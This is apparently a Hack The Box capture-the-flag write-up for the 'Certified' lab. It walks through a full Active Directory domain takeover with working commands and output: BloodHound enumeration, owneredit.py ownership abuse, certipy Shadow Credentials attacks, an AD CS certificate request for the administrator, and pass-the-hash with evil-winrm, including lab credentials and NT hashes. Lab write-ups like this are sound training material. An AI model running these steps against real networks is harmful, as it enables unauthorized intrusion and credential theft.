We began with the low-privileged user JUDITH.MADER@CERTIFIED.HTB, who had the ability to modify the owner of MANAGEMENT@CERTIFIED.HTB. By changing ownership, we added a controlled user to this group, escalating privileges. Next, we exploited GenericWrite permissions of MANAGEMENT@CERTIFIED.HTB over MANAGEMENT_SVC@CERTIFIED.HTB, allowing us to modify attributes and gain access as MANAGEMENT_SVC.
This account had GenericAll over CA_OPERATOR@CERTIFIED.HTB, enabling a full takeover. With control over CA_OPERATOR, we identified potential privileges related to Active Directory Certificate Services (AD CS). Using this, we requested a certificate for the Administrator account, obtained a TGT and extracted the NT hash, allowing us to authenticate as Administrator on the Domain Controller (DC) and achieve full domain compromise.
➜ Certified nmap -sCV certified.htb -v Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-24 07:39 EST NSE: Loaded 157 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 07:39 Completed NSE at 07:39, 0.00s elapsed Initiating NSE at 07:39 Completed NSE at 07:39, 0.00s elapsed Initiating NSE at 07:39 Completed NSE at 07:39, 0.00s elapsed Initiating Ping Scan at 07:39 Scanning certified.htb (10.10.11.41) [4 ports] Completed Ping Scan at 07:39, 0.34s elapsed (1 total hosts) Initiating SYN Stealth Scan at 07:39 Scanning certified.htb (10.10.11.41) [1000 ports] Discovered open port 53/tcp on 10.10.11.41 Discovered open port 445/tcp on 10.10.11.41 Discovered open port 135/tcp on 10.10.11.41 Discovered open port 139/tcp on 10.10.11.41 Discovered open port 3269/tcp on 10.10.11.41 Discovered open port 5985/tcp on 10.10.11.41 Discovered open port 593/tcp on 10.10.11.41 Discovered open port 389/tcp on 10.10.11.41 Discovered open port 88/tcp on 10.10.11.41 Discovered open port 636/tcp on 10.10.11.41 Discovered open port 464/tcp on 10.10.11.41 Discovered open port 3268/tcp on 10.10.11.41 Completed SYN Stealth Scan at 07:40, 26.07s elapsed (1000 total ports) Initiating Service scan at 07:40 Scanning 12 services on certified.htb (10.10.11.41) Completed Service scan at 07:41, 60.07s elapsed (12 services on 1 host) NSE: Script scanning 10.10.11.41. Initiating NSE at 07:41 Completed NSE at 07:41, 41.33s elapsed Initiating NSE at 07:41 Completed NSE at 07:42, 10.69s elapsed Initiating NSE at 07:42 Completed NSE at 07:42, 0.00s elapsed Nmap scan report for certified.htb (10.10.11.41) Host is up (0.38s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-24 12:46:28Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.certified.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb | Issuer: commonName=certified-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-05-13T15:49:36 | Not valid after: 2025-05-13T15:49:36 | MD5: 4e1f:97f0:7c0a:d0ec:52e1:5f63:ec55:f3bc |_SHA-1: 28e2:4c68:aa00:dd8b:ee91:564b:33fe:a345:116b:3828 |_ssl-date: 2025-02-24T12:48:14+00:00; +6m16s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-02-24T12:48:13+00:00; +6m16s from scanner time. | ssl-cert: Subject: commonName=DC01.certified.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb | Issuer: commonName=certified-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-05-13T15:49:36 | Not valid after: 2025-05-13T15:49:36 | MD5: 4e1f:97f0:7c0a:d0ec:52e1:5f63:ec55:f3bc |_SHA-1: 28e2:4c68:aa00:dd8b:ee91:564b:33fe:a345:116b:3828 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.certified.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb | Issuer: commonName=certified-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-05-13T15:49:36 | Not valid after: 2025-05-13T15:49:36 | MD5: 4e1f:97f0:7c0a:d0ec:52e1:5f63:ec55:f3bc |_SHA-1: 28e2:4c68:aa00:dd8b:ee91:564b:33fe:a345:116b:3828 |_ssl-date: 2025-02-24T12:48:14+00:00; +6m16s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-02-24T12:48:13+00:00; +6m16s from scanner time. | ssl-cert: Subject: commonName=DC01.certified.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb | Issuer: commonName=certified-DC01-CA | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-05-13T15:49:36 | Not valid after: 2025-05-13T15:49:36 | MD5: 4e1f:97f0:7c0a:d0ec:52e1:5f63:ec55:f3bc |_SHA-1: 28e2:4c68:aa00:dd8b:ee91:564b:33fe:a345:116b:3828 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
➜ Certified bloodhound-python -ns 10.10.11.41 -d certified.htb -u 'judith.mader' -p 'judith09' --zip -c all --dns-tcp INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: certified.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: dc01.certified.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc01.certified.htb INFO: Found 10 users INFO: Found 53 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: DC01.certified.htb WARNING: DCE/RPC connection failed: [Errno Connection error (10.10.11.41:445)] timed out INFO: Done in 01M 44S INFO: Compressing output into 20250224075146_bloodhound.zip ➜ Certified unzip 20250224075146_bloodhound.zip Archive: 20250224075146_bloodhound.zip extracting: 20250224075146_users.json extracting: 20250224075146_containers.json extracting: 20250224075146_gpos.json extracting: 20250224075146_groups.json extracting: 20250224075146_computers.json extracting: 20250224075146_ous.json extracting: 20250224075146_domains.json ➜ Certified
Attack path
BloodHound Findings & Exploitation Path
JUDITH.MADER@CERTIFIED.HTB → Can modify the owner of MANAGEMENT@CERTIFIED.HTB.
MANAGEMENT@CERTIFIED.HTB → Has GenericWrite over MANAGEMENT_SVC@CERTIFIED.HTB.
MANAGEMENT_SVC@CERTIFIED.HTB → Has GenericAll over CA_OPERATOR@CERTIFIED.HTB.
Attack Flow
Modify MANAGEMENT@CERTIFIED.HTB ownership to gain control.
Abuse GenericWrite to modify MANAGEMENT_SVC and escalate privileges.
Leverage GenericAll to take over CA_OPERATOR, potentially leading to further AD privilege escalation.
The attack starts with JUDITH.MADER, who has the ability to change the owner of the Management group. By transferring ownership to that user, JUDITH.MADER gains full control over the group. Next, GenericAll permissions are granted to Management, allowing JUDITH.MADER to modify its members and add JUDITH.MADER to the group. Since Management group members have GenericWrite on Management_SVC, JUDITH.MADER can abuse this permission to perform a Shadow Credentials attack. Using Certipy, JUDITH.MADER can add a malicious Key Credential to Management_SVC, retrieves a TGT & NT hash, and authenticates as that user. Finally, since Management_SVC has GenericAll over CA_Operator, JUDITH.MADER can take full control of CA_Operator.
User
Change Ownership of the Management Group: → Transfers ownership of the Management group to judith.mader, allowing full control over the group.
1 2 3 4 5 6 7 8
➜ Certified owneredit.py -action write -new-owner 'judith.mader' -target 'management' 'certified.htb'/'judith.mader':'judith09' Impacket v0.13.0.dev0+20240916.171021.65b774de - Copyright Fortra, LLC and its affiliated companies
Perform Shadow Credentials Attack on Management_SVC: → Adds a new Key Credential to management_svc, authenticates using PKINIT, retrieves its TGT & NT hash, and restores the original Key Credential.
➜ Certified certipy shadow auto -username judith.mader@certified.htb -password judith09 -account management_svc Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'management_svc' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '9623dcf6-e631-fbad-dd02-e8f4cbe03f88' [*] Adding Key Credential with device ID '9623dcf6-e631-fbad-dd02-e8f4cbe03f88' to the Key Credentials for 'management_svc' [*] Successfully added Key Credential with device ID '9623dcf6-e631-fbad-dd02-e8f4cbe03f88' to the Key Credentials for 'management_svc' [*] Authenticating as 'management_svc' with the certificate [*] Using principal: management_svc@certified.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'management_svc.ccache' [*] Trying to retrieve NT hash for 'management_svc' [*] Restoring the old Key Credentials for 'management_svc' [*] Successfully restored the old Key Credentials for 'management_svc' [*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584 ➜ Certified
➜ Certified evil-winrm -i certified.htb -u management_Svc -H a091c1832bcdd4677c28b5a6a1295584 Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\management_svc\Documents>
Root
The user MANAGEMENT_SVC@CERTIFIED.HTB has GenericAll privileges to the user CA_OPERATOR@CERTIFIED.HTB. With Management_SVC having GenericAll on CA_Operator, we fully control the account. Using the NT hash from Shadow Credentials, we authenticate as CA_Operator.
→ Exploits Shadow Credentials to take over CA_OPERATOR using Certipy.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
➜ Certified certipy shadow auto -u management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -account ca_operator Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'ca_operator' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '4f17b9c2-939a-7851-82be-1e3eb5190ffe' [*] Adding Key Credential with device ID '4f17b9c2-939a-7851-82be-1e3eb5190ffe' to the Key Credentials for 'ca_operator' [*] Successfully added Key Credential with device ID '4f17b9c2-939a-7851-82be-1e3eb5190ffe' to the Key Credentials for 'ca_operator' [*] Authenticating as 'ca_operator' with the certificate [*] Using principal: ca_operator@certified.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'ca_operator.ccache' [*] Trying to retrieve NT hash for 'ca_operator' [*] Restoring the old Key Credentials for 'ca_operator' [*] Successfully restored the old Key Credentials for 'ca_operator' [*] NT hash for 'ca_operator': 259745cb123a52aa2e693aaacca2db52
→ Extracts NT hash of CA_OPERATOR, enabling pass-the-hash authentication.
[+] Trying to resolve 'CERTIFIED.HTB' at '192.168.18.2' [+] Generating RSA key [*] Requesting certificate via RPC [+] Trying to connect to endpoint: ncacn_np:10.10.11.41[\pipe\cert] [+] Connected to endpoint: ncacn_np:10.10.11.41[\pipe\cert] [*] Successfully requested certificate [*] Request ID is 46 [*] Got certificate with UPN 'administrator' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx' ➜ Certified
Now we can obtain a TGT and NT Hash Using the Administrator Certificate
[*] Using principal: administrator@certified.htb [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34 ➜ Certified
Successfully Authenticating as Administrator on the Domain Controller